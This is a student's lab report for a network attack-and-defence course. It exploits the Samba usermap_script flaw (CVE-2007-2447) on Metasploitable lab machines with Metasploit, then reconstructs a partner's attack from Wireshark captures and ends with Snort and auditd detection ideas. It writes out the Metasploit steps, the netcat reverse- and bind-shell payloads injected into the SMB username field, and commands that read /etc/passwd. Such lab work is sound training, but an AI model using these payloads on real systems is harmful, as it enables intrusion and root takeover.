20253909 2025-2026-2 《网络攻防实践》实践七报告

20253909 2025-2026-2 《网络攻防实践》第7次作业

这次作业由两部分构成:第一部分要求用 Metasploit 攻击 Metasploitable 靶机上 Samba 的 usermap_script 漏洞(CVE-2007-2447),在攻击机上拿到目标主机的 root shell;第二部分是和同学组队的攻防对抗,攻方用 Metasploit 渗透,守方用 Wireshark 抓包并通过 Follow TCP Stream 反推整个攻击过程。这次和上次(第6次作业第三部分)我们刻意把攻防角色对调:上次我作为攻方打搭档的 Win2k,这次换成搭档打、我守,把两端的视角都体验一遍。


目录


一、实践内容

  本周的实验由两个任务构成。任务一站在攻击方的视角,用 Metasploit 把 Linux 靶机 Metasploitable 上的 Samba 服务打下来;任务二和同学组队完成攻防对抗:攻方用 Metasploit 渗透 Metasploitable 拿 root,守方在网络上用 Wireshark 抓全部流量并还原整个攻击链路。上一次实验(第 6 次作业第三部分)我是攻方、搭档守;这次我和搭档对调了角色——搭档来打、我来守,让我把攻防两端的视角都走一遍。

  任务一(动手实践 Metasploit Linux Attacker):在 Kali Linux 攻击机上启动 Metasploit Framework,对 Metasploitable Linux 靶机上 Samba 服务的 usermap_script 漏洞(CVE-2007-2447)发起远程渗透,最终拿到对靶机的 root 级 shell。这是 Samba 早期版本里一个非常经典的命令注入漏洞,只要 Samba 3.0.20 ~ 3.0.25rc3 暴露在网络上,攻击者就能在 SMB 的 username 字段里塞一段 shell 命令,Samba 在做 username map script 时不加转义地把它拼到 shell 命令行里,以 root 身份执行,不需要任何凭证、不需要用户交互。Metasploit 中对应的模块是 exploit/multi/samba/usermap_script,rank 是 excellent。

  任务二(团队对抗实践:Linux 远程渗透与流量分析):和同学组队完成完整的攻防对抗:

  • 攻方(搭档 董昊鹏 donghaopeng / 20253904):用 Metasploit 选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得 root 权限;
  • 守方(本人 李佳橦 lijiatong / 20253909):用 Wireshark 监听获得网络攻击的数据包,结合显示过滤、Statistics、Follow TCP Stream 等功能分析攻击过程,提取出攻击者的 IP、目标 IP 和端口、攻击发起时间、攻击利用的漏洞、使用的 Shellcode、以及成功之后在命令行输入的所有命令。

  两次任务的网络拓扑环境如下表所示:

主机角色 主机名 IP 地址 操作系统 用途
任务一攻击机 Kali Linux 192.168.200.11 Kali Rolling Metasploit 渗透
任务一靶机 Metasploitable_ubuntu 192.168.200.3 Ubuntu 8.04 Samba 漏洞目标
任务二攻击机(搭档操作) Kali Linux(桥接) 192.168.43.226 Kali Rolling 团队对抗攻方
任务二靶机/守方监听点(本人操作) Metasploitable_ubuntu(桥接) 192.168.43.81 Ubuntu 8.04 团队对抗守方
本地物理网关 手机热点 192.168.43.1 桥接网段 DHCP

  一个值得提前说明的环境问题:开始做实验时主机和虚拟机连的是校园网、虚拟机网卡是桥接模式,两台虚拟机之间一直无法 ping 通;后来把主机连接切换到手机热点、Metasploitable 改为 VMnet8(NAT)、并把过去做练习时残留在 /etc/rc.local/etc/network/interfaces 里的几行手工静态配置注释掉后,靶机才正常拿到 DHCP 地址、与攻击机互通。这段排错过程完整放在 三、学习中遇到的问题及解决 中说明,正文先从两机连通后开始记录。


二、实践过程

第一部分:Metasploit Linux 远程渗透实践(Samba usermap_script)

漏洞背景

  Samba usermap_script 漏洞(CVE-2007-2447)的根因藏在 Samba 配置选项 username map script 的实现里。smbd 收到客户端的 SMB 会话建立请求(Session Setup AndX)时,如果服务器配置启用了 username map script,Samba 会把客户端发来的用户名作为参数拼到一段外部脚本调用里。问题就出在这次"拼"——它没有对用户名做任何 shell 元字符转义。攻击者只要把用户名构造成形如 `cmd`./=`cmd` 这种以反引号包起来的字符串,Samba 就会把它当作一段命令交给 /bin/sh 执行,而且是以 smbd 自身的权限执行。大多数 Linux 发行版上 smbd 是以 root 启动的,也就意味着直接拿到 root。

  受影响版本是 Samba 3.0.20 到 3.0.25rc3,Metasploitable 自带的 Samba 正好落在这个区间里。Metasploit 模块 exploit/multi/samba/usermap_script 把利用做得非常稳定——目标 139 或 445 端口开着、Samba 默认启用 username map script 时就能一键拿到 root shell,rank 评级 excellent。


实验环境

  经过前面那番 NAT 模式与配置文件的清理后,Metasploitable 的 eth0 通过 DHCP 拿到了 192.168.200.3,Kali 的 eth0 是 192.168.200.11,两者在 VMnet8 的 192.168.200.0/24 NAT 网段内互通。

  先确认靶机的网络适配器确实是 VMnet8(NAT 模式),并勾选了"已连接"和"启动时连接"。如图1所示,在 VMware 虚拟机设置里选择"自定义:特定虚拟网络",下拉框选 VMnet8(NAT 模式),右上角设备状态两项都打勾。

图1
图1:靶机网络适配器设置为 VMnet8 NAT 模式

  然后在 Metasploitable 里 ifconfig 看 eth0 的状态。图2 显示地址是 192.168.200.3,MAC 是 00:0c:29:0a:21:ca,子网掩码 255.255.255.128(/25),下面是 8 个 ICMP 包到 192.168.200.11 全部到达的统计——8 packets transmitted, 8 received, 0% packet loss。

图2
图2:Metasploitable 通过 DHCP 拿到 192.168.200.3

  再分别从两边 ping 对方一遍做双向连通性确认。先是 Metasploitable → Kali(图3):4 个 ICMP 包全通,TTL=64 是 Linux 默认值,首包 8.39 ms(首次 ARP 解析的开销),之后稳定在 0.2 ms 上下(VMware 虚拟交换机内通信的典型时延)。

图3
图3:Metasploitable → Kali 单向 ping 通

  反向 Kali → Metasploitable 也通(图4):4 个 ICMP 包全通,TTL=64,往返时延约 0.18 ~ 0.23 ms。两边都通,可以开打。

图4
图4:Kali → Metasploitable 反向 ping 通

实验操作

步骤 1:启动 Metasploit Framework

  在 Kali 上敲 msfconsole 进入控制台。这次启动的是 v6.4.64-dev,启动 banner 显示加载了 2519 个 exploit、1296 个 auxiliary、1610 个 payload、49 个 encoder、13 个 nop 和 9 个 evasion 模块(图5),进入 msf6 > 提示符后即可接受指令。

图5
图5:msfconsole 启动成功
步骤 2:搜索 Samba usermap_script 漏洞模块

  search samba usermap_script 在 msf 模块库里检索。搜索结果只有一条(图6):exploit/multi/samba/usermap_script,披露日期 2007-05-14,rank 是 excellent,描述是 "Samba 'username map script' Command Execution"。rank 直接 excellent,说明这个模块的成熟度和可靠性都很高。

图6
图6:search 命中唯一模块,rank=excellent
步骤 3:选定模块

  use exploit/multi/samba/usermap_script 进入模块上下文。msf 自动给出提示 "No payload configured, defaulting to cmd/unix/reverse_netcat"(图7),也就是说它已经把默认 payload 设成了 cmd/unix/reverse_netcat——一个用 netcat 实现的反弹 shell payload。

图7
图7:use 选定模块,msf 自动设默认 payload
步骤 4:查看模块选项

  show options 看要填什么参数(图8)。模块端 RHOSTS(目标 IP,必填)尚未设置,RPORT 默认 139;payload 端 LHOST 默认 192.168.200.11、LPORT 默认 4444;Exploit target = 0 Automatic。

图8
图8:show options 查看待填参数

  有个细节值得注意:默认目标端口是 139 而不是更常见的 445。这是因为 usermap_script 漏洞在 SMB 协议 Session Setup 阶段触发,139 端口的 NetBIOS Session Service 上跑的是更老的 SMB 方言,更容易命中 Samba 那段不严谨的脚本拼接代码路径。

步骤 5:查看支持的 payload

  show payloads 看这个模块支持哪些 payload(图9)。列出来的全是 cmd/unix/ 命名空间——bind/reverse 风格各种语言的命令 shell:awk、inetd、lua、netcat、perl、ruby、php_ssl、python、r、ksh、openssl 等。

图9
图9:show payloads 列出兼容的 payload

  为什么清一色都是 cmd/unix/?因为这个漏洞的本质是命令注入——能直接在远端执行任意 shell 命令,所以 msf 把 payload 设计成只输出"一段命令",让远端用本地解释器去跑,相比传统 buffer overflow 类的 shellcode(一段 machine code)省去了体系结构匹配、栈空间布局等一系列约束。bind 系列是让靶机自己开监听端口、攻击机连进去;reverse 系列是让靶机回连攻击机。

步骤 6:选择 payload —— cmd/unix/reverse_netcat

  我选最经典的 cmd/unix/reverse_netcat,利用 Metasploitable 自带的 nc 反弹 shell 回 Kali(图10)。

图10
图10:set payload cmd/unix/reverse_netcat

  这个 payload 实际下发的命令大致是:

mkfifo /tmp/xxx; nc <LHOST> <LPORT> 0</tmp/xxx | /bin/sh >/tmp/xxx 2>&1; rm /tmp/xxx

  思路很巧妙——单独的 nc 自己并不带 shell,但通过一个命名管道 /tmp/xxx 把 nc 的标准输入输出和 sh 的标准输入输出连起来:从攻击机发过来的命令进入 nc,nc 写入 fifo,sh 从 fifo 读到命令并执行,sh 把执行结果写回 fifo,nc 读出来再发给攻击机。这是"裸 nc + shell" 反弹的标准做法。

步骤 7:配置 RHOSTS 和 LHOST

  RHOSTS 是靶机 192.168.200.3,LHOST 是攻击机 192.168.200.11(图11)。

图11
图11:set RHOSTS 与 LHOST
步骤 8:再次确认所有参数

  再 show options 一遍把每一项都看一眼(图12),确保没有漏配:RHOSTS=192.168.200.3,RPORT=139,payload=cmd/unix/reverse_netcat,LHOST=192.168.200.11,LPORT=4444,Target=0 Automatic。所有必填项都已就绪。

图12
图12:参数全部就绪
步骤 9:执行 exploit —— 拿到 root shell

  参数齐了,敲下 exploit(图13)。可以看到 msf 先 Started reverse TCP handler on 192.168.200.11:4444,紧接着 Command shell session 1 opened (192.168.200.11:4444 -> 192.168.200.3:59207) at 2026-05-09 02:42:42 -0400——反弹 shell 已经从靶机 59207 端口回连到攻击机 4444 端口。

图13
图13:exploit 一击命中,session 1 已建立

  192.168.200.11:4444 -> 192.168.200.3:59207 就是后续 shell 通道的两端:攻击机 4444 监听端口接收靶机 59207 端口主动回连的 cmd 流量。整个 exploit 从发起到拿到 session 不到 1 秒。

步骤 10:在 Shell 中验证身份与权限——whoami / ifconfig

  反弹 shell 拿到后是个无提示符的"赤膊"shell(reverse_netcat 这种"裸 nc + sh"组合的固有特征,下面 §三、问题 5 会专门讨论)。直接敲 whoami,回显是 root——一发命中、直接拿到最高权限,连提权这一步都省了。接着 ifconfig 确认我现在确实在 192.168.200.3 这台 Metasploitable 上:eth0 IP 192.168.200.3,MAC 00:0c:29:0a:21:ca,与图2 完全一致(图14)。

图14
图14:whoami=root,ifconfig 确认落在目标主机
步骤 11:信息收集——pwd / ls / cat /etc/passwd

  有了 root 之后做点信息侦察。先 pwd 看当前路径、ls 列根目录、最后 cat /etc/passwd 把所有系统账户读出来(图15)。

图15
图15:pwd / ls / cat /etc/passwd 信息侦察

  ls 输出里能看到 bin/boot/etc/home/root 等典型 Unix 目录,还多了一个 hello/ 目录——这是上一次实验留下的,第二部分的对抗里会看到搭档也注意到了它。cat /etc/passwd 的输出里有几个关键信息:

  • root:x:0:0:root:/root:/bin/bash —— 标准 root 账户,UID 0
  • dhcp:x:101:102::/nonexistent:/bin/false —— DHCP 服务账户,shell 是 /bin/false,不让登录
  • syslog:x:102:103::/home/syslog:/bin/false —— syslog 服务账户,同样禁登录
  • 其他系统服务账户(daemon、bin、sys、mail、news、www-data 等)多数 shell 是 /bin/sh/bin/false

  到这里任务一目标圆满达成:

✅ 通过 Samba usermap_script 漏洞从 192.168.200.11 远程拿下 192.168.200.3 的 shell;
✅ shell 直接是 root 权限(whoami 显示 root),不需要任何提权步骤;
✅ 能任意读写文件系统(cat /etc/passwd 全文回显)。


第一部分小结

步骤 操作 结果
0 网络就绪 NAT VMnet8 + DHCP Kali 192.168.200.11 ↔ Metasploitable 192.168.200.3 互通
1 启动 msf msfconsole 进入 v6.4.64-dev 控制台
2 搜索模块 search samba usermap_script 命中 exploit/multi/samba/usermap_script,rank=excellent
3 选定模块 use exploit/multi/samba/usermap_script 自动配 cmd/unix/reverse_netcat
4 配置参数 set RHOSTS=.3 / LHOST=.11 / 默认 RPORT=139 / LPORT=4444 参数 OK
5 发起攻击 exploit session 1 opened,shell 拿到
6 验证身份 whoami root —— 一发到顶,无需提权
7 信息收集 pwd / ls / cat /etc/passwd 完整读出账户数据库

第二部分:团队攻防对抗实践——Linux 系统远程渗透与流量分析

角色分工与对抗背景

  这一部分是真正的"人对人"攻防对抗。我和搭档组队完成。特别说明:上一次(实验 6 第三部分)是我打搭档的 Win2k,这次刻意对调了角色——搭档来攻、我来守,让我完整体验"被攻击 + 取证"这一边。双方信息如下:

角色 同学姓名 学号 主机 IP 地址 操作系统
攻方 董昊鹏 donghaopeng 20253904(搭档) Kali Linux 192.168.43.226 Kali Rolling
守方 李佳橦 lijiatong 20253909(本人) Metasploitable_ubuntu 192.168.43.81 Ubuntu 8.04

  所选漏洞与第一部分相同,仍然是 Samba usermap_script(CVE-2007-2447)。原因有三:一是它对 Metasploitable 命中率最高、利用最稳定;二是 139/TCP 无需任何凭证即可触发,演练时不用担心需要协调密码或先做账号枚举;三是命令注入的明文特征在 SMB 协议数据包里非常醒目,对守方的取证练习是很好的教学样本。

  对抗目标

  • 攻方目标:拿到靶机 shell,并验证 root 身份;在靶机文件系统上写一个带攻方学号姓名签名的 Test.txt 作为攻击成功的"印记"。
  • 守方目标(本人):在网络监听点上启动 Wireshark 抓 eth0 全部流量,捕获从攻击发起到 shell 建立、再到攻击者下发命令的全过程;通过显示过滤、Statistics 统计、Follow TCP Stream 等手段还原攻击链路、提取关键证据(攻击源 IP、目标端口、所用漏洞、Shellcode、所执行命令)。

实验环境准备

步骤 1:从 NAT 切换到桥接模式

  任务一是在 VMware 内置的 VMnet8 网段(192.168.200.0/24)里跑的,但这次和搭档的设备要跨物理网络通信,所以把 Metasploitable 的网络适配器从 NAT 切到桥接模式,直接挂到物理网卡上,和搭档的 Kali 共用同一个 192.168.43.0/24 网段(手机热点 192.168.43.1 做网关)。

  切换前 Metasploitable 的 NAT 模式 IP 是 192.168.200.130(图16),MAC 00:0c:29:0a:21:ca,与任务一是同一台 VM。准备 sudo vim /etc/network/interfaces 改成 DHCP 再切桥接。

图16
图16:切换前 NAT 模式下 IP 为 192.168.200.130

  把网络适配器切到"桥接模式:直接连接物理网络",并勾选"复制物理网络连接状态"(图17)——这样 Kali 和 Metasploitable 在物理网络里看起来就像两台独立的主机,物理路由器会给它们各分一个真实的 LAN IP,而不是被 VMware 的 NAT 网关挡在中间。

图17
图17:网络适配器切到桥接模式

  切换桥接模式之后,Metasploitable 会从物理网关(手机热点 192.168.43.1)拿到一个新的 IP(图18):DHCPACK of 192.168.43.81 from 192.168.43.1,租约 1405 秒,MAC 仍然是 00:0c:29:0a:21:ca,确认是同一台 VM。192.168.43.81 就是后面被攻击的目标 IP

图18
图18:桥接后从手机热点 DHCP 拿到 192.168.43.81
步骤 2:连通性测试

  让搭档的 Kali(192.168.43.226)ping 我的 Metasploitable(192.168.43.81)确认网络通畅(图19):7 个包全通,0% 丢包,但延迟在 9.78 ~ 31.2 ms 抖动——比 NAT 内网的亚毫秒级慢得多,这是桥接模式下流量真实经过物理无线网络(手机热点上 WiFi → 我的物理网卡 → VMware → VM)的代价。TTL=64 是 Linux 默认值,从外部看也能确认对端是 Linux。

图19
图19:搭档 Kali → 我 Metasploitable 连通性测试

攻方(搭档 donghaopeng / 20253904)行动

步骤 3:启动 msfconsole 并发起 exploit

  搭档在他的 Kali 上 sudo -i 提权后启动 msfconsole(v6.4.99-dev),依次:① use exploit/multi/samba/usermap_script;② set payload cmd/unix/bind_netcat(注意这次和任务一里的 reverse_netcat 不一样,选了 bind_netcat,让靶机开 4444 端口监听、攻击机主动连过去);③ set RHOST 192.168.43.81(我的 IP);④ exploit。最后输出 Command shell session 1 opened (192.168.43.226:38455 -> 192.168.43.81:4444)(图20),bind shell 建立在靶机的 4444 端口上,搭档从他的 38455 出向连进来。

图20
图20:搭档 msfconsole 攻击全过程

  bind_netcat 与 reverse_netcat 的区别

  • reverse(任务一里用过):靶机执行 nc 主动连攻击机的 LHOST:LPORT;攻击机被动等待。
  • bind(这次用的):靶机执行 nc 在自己的 4444 端口监听;攻击机主动去靶机的 4444。

  bind 的优点是绕过靶机出向防火墙;缺点是攻击机要能直连靶机的入向端口。在我们这个桥接局域网里两种都行得通——搭档这次选 bind 一方面是想换一种 payload 试试,另一方面也方便守方在 Wireshark 中用 tcp.port == 4444 这种入向过滤准确锁定 shell 通道。事后看也确实如此:守方过滤端口比过滤会话四元组要直观得多。

步骤 4:第一次 session 的命令交互

  搭档第一次 session 拿到后跑了一系列命令(图21)——这个 session 后来被 Wireshark 标号为 stream 3。命令依次是 ls(列根目录)、cd hello(进入上次实验留下的 hello 目录)、lsecho I am 20253904 dhp>>Test.txt(在 hello 目录下创建身份签名文件)、ls,最后看到目录里多了一个 Test.txt

图21
图21:第一次 session 在 hello/ 下留下签名
步骤 5:第二次 session 的命令交互

  第一次 session 因为某种原因被 user exit 关闭了(msfconsole 显示 Command shell session 1 closed. Reason: User exit),搭档又跑了一次 exploit 拿到 session 2。这次直接在根目录下创建了一个新目录 test/ 并写入身份签名(图22)。Command shell session 2 opened (192.168.43.226:44079 -> 192.168.43.81:4444) at 2026-05-06 04:40:56 -0400;接着在 root shell 里 whoami(回显 root,确认权限)→ lsmkdir testcd testecho Hello Im 20253904 dhp>>Test.txtls,Test.txt 创建成功。

图22
图22:第二次 session 在新建的 test/ 下留下签名

  到这里攻方目标完全达成

✅ 通过 Samba usermap_script 远程拿下 192.168.43.81 的 shell;
✅ shell 是 root 权限(whoami 显示 root);
✅ 在文件系统上留下两个签名印记:/hello/Test.txt/test/Test.txt,内容含攻方学号姓名。


守方(本人)行动——Wireshark 抓包还原攻击全过程

  接下来切回守方视角。整个攻击过程我都在 eth0 上同步开了 Wireshark,本节把抓包数据按层次拆开看。

步骤 6:第一层过滤——所有跟攻击源/靶机相关的流量

  Wireshark 抓的是 eth0 上所有的包,背景噪声很大(ARP、mDNS、SSDP 等都混在里面),所以第一步先用显示过滤把跟攻击有关的流量分离出来。表达式 ip.src == 192.168.43.226 || ip.dst == 192.168.43.81 把"攻击源发的包"和"发往守方的包"都筛出来(图23)。

图23
图23:第一层过滤展开攻击全景

  过滤之后能清晰看到攻击的几个阶段:① 包 88~97 是 33741 ↔ 139 的 SMB 三次握手 + Negotiate Protocol Request + Session Setup AndX Request(漏洞触发的核心包就在这里);② 包 100 之后是 40709 ↔ 4444 的 bind shell 流量;③ 包 193-194 是 33741 → 139 的 RST,攻击通道清场;④ 后面又有一组 33993 → 139 / 38455 → 4444(第二次 session 用更长的端口范围)。

  再换一个更紧的过滤——只看从攻击源到我这台机器的关键起手包(图24),可以看清楚 SMB 攻击包和 bind shell 入向包的发生顺序。

图24
图24:聚焦从攻击源发出的关键起手包

  攻击发起时间可以从这里读出来:从 T+172.21 秒开始(帧 88 的 Arrival Time),即 2026-05-06 04:16:27 EDT。先是 33741 → 139 的 SYN(包 88),紧接着 92 [ACK](三次握手完成),93 是 SMB Negotiate Protocol Request,96 [ACK],97 是关键的 Session Setup AndX Request,携带恶意 User 字段;98 是 40709 → 4444 SYN(攻击机已经连进来准备开 bind shell 通道)。整个过程从 SYN 到 bind shell 建立用了不到 0.1 秒。

步骤 7:定位 SMB 攻击包——漏洞利用的关键证据

  用 smb && ip.src == 192.168.43.226 过滤,只看从攻击者发出的 SMB 包(图25)。总共 5 条结果:包 93/97/204/208/591/595。其中 97 / 208 / 595 是三次 Session Setup AndX Request——也就是三次独立的 exploit 调用——每一次 User 字段都不一样:

./=`nohup mkfifo /tmp/codskxs; (nc -l -p 4444 ||nc -l 4444)0</tmp/codskxs | /bin/sh >/tmp/codskxs 2>&1; rm /tmp/codskxs`
./=`nohup mkfifo /tmp/edff; ...`
./=`nohup mkfifo /tmp/fvqjbj; ...`

  三次 exploit 用了三个不同的临时文件名(codskxs / edff / fvqjbj)——这正是 msf payload 的随机化特性,每次发起都会重新生成。

图25
图25:smb 过滤捕获三次 Session Setup AndX 漏洞触发包

  这就是漏洞利用的"指纹"——每一次 exploit msf 都会生成一个不同的 6 ~ 8 字符随机临时文件名,但模板永远固定:

nohup mkfifo /tmp/<rand>; (nc -l -p 4444 ||nc -l 4444)0</tmp/<rand> | /bin/sh >/tmp/<rand> 2>&1; rm /tmp/<rand>

  这段命令本身做了几件聪明的事:用 mkfifo 建一个命名管道把 nc 和 sh 桥接起来;(nc -l -p 4444 || nc -l 4444) 这种"前者失败就退回后者"的写法是为了在不同版本 netcat(一些发行版的 nc 不再认 -p)之间兼容;nohup 让 nc 即使 smbd 那段父进程退出也继续在后台跑;最后的 rm /tmp/<rand> 是攻击痕迹自清理。

步骤 8:详细看 SMB Session Setup AndX Request 包结构

  双击包 97 看完整的 SMB 协议解析(图26)。

图26
图26:包 97 SMB Session Setup AndX Request 完整解析

  这一张图是漏洞利用的核心证据。从上到下能读到的关键字段:

  • Word Count (WCT): 13 —— LANMAN1.0 风格的 Session Setup 字段数
  • Max Buffer: 65503 —— 客户端能接收的最大缓冲区,msf 故意调大以适配各种服务端
  • Native OS: Windows 2000 2195 / Native LAN Manager: Windows 2000 5.0 —— msf 故意伪造的 Windows 客户端身份,目的是让靶机选更老的 SMB 方言(LANMAN1.0 / LM1.2X002 / NT LM 0.12),较老的方言走过更"宽松"的代码路径,更容易触发那段不严谨的脚本拼接
  • Account: ./=`nohup mkfifo /tmp/codskxs; (nc -l -p 4444 ||nc -l 4444)0</tmp/codskxs | /bin/sh >/tmp/codskxs 2>&1; rm /tmp/codskxs` —— 整段 shell 命令被塞进 SMB Account(用户名)字段里,Samba 在做 username map 时不加转义地拼到 shell 命令行里、以 root 身份执行
  • 帧时间戳:Arrival Time = May 6, 2026 04:16:27 EDT —— 这是攻击的真正发起时刻

  另一个细节:Account 字段开头的 ./= 是一个"占位 + 赋值"形式,目的是构造一个语法合法的 shell 变量赋值表达式,让反引号包起来的命令在赋值时被求值。这是经典的 backtick command substitution 利用——name=value 是合法的 shell 赋值,而反引号 `cmd` 会被立即执行,所以 ./=`cmd` 就是借赋值这个"语法合法的外壳"让里面的命令被执行。

步骤 9:Follow TCP Stream eq 0 —— 看 SMB 攻击通道的字节流

  右键包 97 → Follow → TCP Stream(Wireshark 自动标号为 stream 0),看 SMB Session Setup 的完整字节流(图27)。可以读出 SMB 协议头 SMBr、协议方言协商 LANMAN1.0 / LM1.2X002 / NT LM 0.12WORKGROUP(默认工作组)、然后是关键 payload ./=`nohup mkfifo /tmp/codskxs; (nc -l -p 4444 ||nc -l 4444)0</tmp/codskxs | /bin/sh >/tmp/codskxs 2>&1; rm /tmp/codskxs` ,以及 Native OS 字符串 Windows 2000 2195.Windows 2000 5.0

图27
图27:tcp.stream eq 0 完整还原 SMB 攻击通道
步骤 10:定位 bind shell 通道(4444 端口)

  漏洞触发完后,shell 通道走的是 4444 端口。在 Wireshark 里点 tcp.stream eq 3(攻击机连进 4444 端口拿到的第一次 bind shell 通道,图28),可以看到攻击机 192.168.43.226:38455 → 靶机 192.168.43.81:4444 的完整 TCP 流——从包 209 SYN 开始三次握手,213 包是第一笔 PSH/ACK(携带 15 字节数据,包末尾能看到 ASCII 字符串 echo dm9iw0LzZ,这是 msf 用来同步 stage 的随机标识符)。

图28
图28:tcp.stream eq 3 定位 bind shell 通道
步骤 11:Follow TCP Stream eq 3 —— 还原第一次 session 的命令

  Follow TCP Stream 看完整命令交互(图29,红色是攻方下发,蓝色是靶机回执)。从上到下读:

  • echo dm9iw0LzZ / dm9iw0LzZ —— msf 的握手同步串(用于判断 shell 是否成功 attach)
  • .[A.[A.[A.[A.[A.[B.[B.[Bls —— 攻击者按方向键和回退键产生的 ANSI 转义序列
  • /bin/sh: .[A.[A.[A.[A.[B.[B.[Bls: not found —— shell 不认识、报错
  • ls —— 这次正确敲了 ls
  • 一长串根目录列表:bin / boot / cdrom / dev / etc / hello / home / initrd / initrd.img / lib / lost+found / media / mnt / opt / proc / root / sbin / srv / sys / tmp / usr / var / vmlinuz
  • cd hellolsecho I am 20253904 dhp>>Test.txtlsTest.txt(hello 目录里多出一个 Test.txt)
图29
图29:tcp.stream eq 3 完整还原第一次 session 命令交互

  这一张图是守方的"破案铁证"——攻方在 shell 里敲过什么、终端回显过什么、连他不小心按到方向键产生的 ^[A^[A^[A^[A^[B^[B^[B 转义序列都被原原本本抓下来了。下面 §三、问题 5 还会专门讨论为什么这些 ANSI 转义会"裸奔"在线缆上。

步骤 12:Follow TCP Stream eq 6 —— 还原第二次 session 的命令

  第一次 session 关闭后攻方又跑了一次 exploit,第二次的 bind shell 在 tcp.stream eq 6(端口 44079 ↔ 4444)。Follow TCP Stream 看到(图30):

  • echo j5tU1GciJf / j5tU1GciJf —— msf 的握手同步串(每次 session 这个串都是随机的,与 stream 3 的 dm9iw0LzZ 不同)
  • whoamiroot —— 攻方先确认了身份
  • ls → 根目录列表(bin / boot / cdrom / dev / etc / hello / home / initrd / lib / lost+found / ...)
  • mkdir testcd testecho Hello Im 20253904 dhp>>Test.txtlsTest.txt

  攻方第二次没有继续往现成的 hello/ 里写,而是新建了 test/ 目录,内容也变成 "Hello Im" 而非 "I am"。帧 605 的 Arrival Time 是 May 6, 2026 04:40:51 EDT——比第一次 session 晚了大约 24 分钟。

图30
图30:tcp.stream eq 6 还原第二次 session 命令交互
步骤 13:Wireshark Conversations 总览

  最后用 Statistics → Conversations 看一眼整体流量画像作为总结(图31)。Ethernet 标签页能看到 MAC f4:4e:b4:6d:27:35(攻击者 Kali)↔ 00:0c:29:0a:21:ca(我 Metasploitable)之间共 6 个会话、约 2 KB 数据;TCP 标签页有多条会话;总 Total Packets 144;Duration 1539 秒(约 25 分钟)——这就是整次攻防对抗在二层的全部痕迹。

图31
图31:Statistics → Conversations 整体流量画像

守方分析总结表

  基于上面对 Wireshark 抓包的逐层分析,把攻击的所有关键证据汇总成一张表——这就是这次取证的"案情卷宗":

提取项 取值 提取依据
攻击者 IP 192.168.43.226 TCP/SMB 流的 Source 字段(图24/25)
目标 IP 192.168.43.81 TCP/SMB 流的 Destination 字段(即守方机器)
目标端口(漏洞触发) 139/TCP(NetBIOS Session Service) 包 88-97 的 33741 → 139 SMB 三次握手与 Session Setup(图24)
bind shell 端口 4444/TCP 包 98 起 40709 → 4444 SYN,以及后续 38455 / 44079 → 4444 多个 session(图24/28)
攻击发起时间 第一次 SYN:T+172.213 s(约 2026-05-06 04:16:27 EDT);session 2:T+1635 s(约 04:40:56 EDT) 帧 88 / 帧 605 的 Arrival Time
所用漏洞 Samba usermap_script (CVE-2007-2447) SMB Session Setup AndX 的 Account 字段携带 shell 元字符开头的恶意用户名(图26)
攻击工具 Metasploit Framework exploit/multi/samba/usermap_script Account 字段 payload 模板与 msf 模块输出严格一致
使用的 Shellcode(Payload) cmd/unix/bind_netcat —— nohup mkfifo /tmp/<rand>; (nc -l -p 4444 ||nc -l 4444)0</tmp/<rand> | /bin/sh >/tmp/<rand> 2>&1; rm /tmp/<rand> 三次 exploit 分别用 codskxs / edff / fvqjbj 三个随机文件名,模板一致(图25/26)
攻击者获得的权限 root shell 中 whoami 回显 root(图30)
shell 中执行的命令 session 1: ls, cd hello, ls, echo I am 20253904 dhp>>Test.txt, ls
session 2: whoami, ls, mkdir test, cd test, echo Hello Im 20253904 dhp>>Test.txt, ls
Follow TCP Stream eq 3 / eq 6 完整还原(图29/30)
攻击者身份签名 20253904 dhp echo 命令明文写入 Test.txt,shellcode 中明文可见(图29/30)
总耗时 约 25 分钟(172.21 ~ 1711.45 秒,帧 88 ~ 631) 帧时间戳
攻击过程时序图
T0   双方虚拟机切桥接模式,DHCP 拿到 .226(攻)/ .81(守)
T1   ICMP 7 个包测试连通性                            [Wireshark 已捕获]
T2   攻方 msfconsole → use samba/usermap_script
       → set payload cmd/unix/bind_netcat → set RHOST .81

T3   T+172.21s  攻方 → 守方:139 [SYN]                 [包 88]
        ↓ TCP 三次握手
T4   T+172.26s  攻方 → 守方:139 SMB Negotiate Protocol [包 93]
T5   T+172.27s  守方 → 攻方 SMB Negotiate Response    [包 95]
T6   T+172.27s  攻方 → 守方:139 SMB Session Setup AndX [包 97 ★漏洞触发★]
                           Account 字段携带 nc bind shell payload
T7   守方端 Samba 以 root 身份执行该 payload,在 4444 端口起 nc 监听

T8   T+172.28s  攻方 → 守方:4444 [SYN]                 [包 98]
        ↓ 攻方主动连入靶机的 bind shell
T9   T+172.29s  开始命令交互(stream 3)
        attacker> ls / cd hello / echo I am 20253904 dhp / ...
T10  T+289.21s  RST 关闭 session 1                    [包 193/194]

T11  T+1634s   攻方 重新 exploit                      [包 591]
T12  T+1635s   攻方 → 守方:4444 SYN(端口 44079)      [包 600]
T13  T+1635s   开始命令交互(stream 6)
        attacker> whoami / root / mkdir test / echo Hello Im ...
T14  T+1711s   ACK 关闭 session 2                     [包 631]
守方角度的检测思路与防御建议

  做完取证后我也回头想了一下:如果是一个真实的生产环境管理员,能从这次抓包里提炼出哪些可落地的检测规则和加固措施?

  网络层检测——SMB Session Setup 的 Account 字段是天然的检测点。一段写得不错的 Snort 规则大致长这样:

alert tcp any any -> $HOME_NET 139 (msg:"Samba username map script CVE-2007-2447";
    flow:to_server,established;
    content:"|FF|SMBs"; offset:4; depth:5;
    content:"./="; distance:0;
    pcre:"/\.\/=`[^`]+`/";
    classtype:attempted-admin; sid:2007244701; rev:1;)

  思路:① 锁 139 端口的 SMB 协议头 |FF|SMBs(Session Setup AndX 的 SMB Command 是 0x73);② 在负载里搜 ./= 这个非常醒目的前缀(正常 SMB 用户名几乎不会出现这种模式);③ 用 pcre 正则进一步确认反引号包裹的命令注入结构。同样的思路也能用 Suricata 写。

  主机层检测——Samba 服务的子进程关系是个很好的异常指标。正常 smbd 的子进程是 smbd 自己 fork 出的会话进程;如果 smbd 突然 fork 出一个 sh,sh 再 fork 出一个 nc,那就是漏洞利用的典型行为。auditd 配一条 syscall 规则盯 execve 就能抓到。

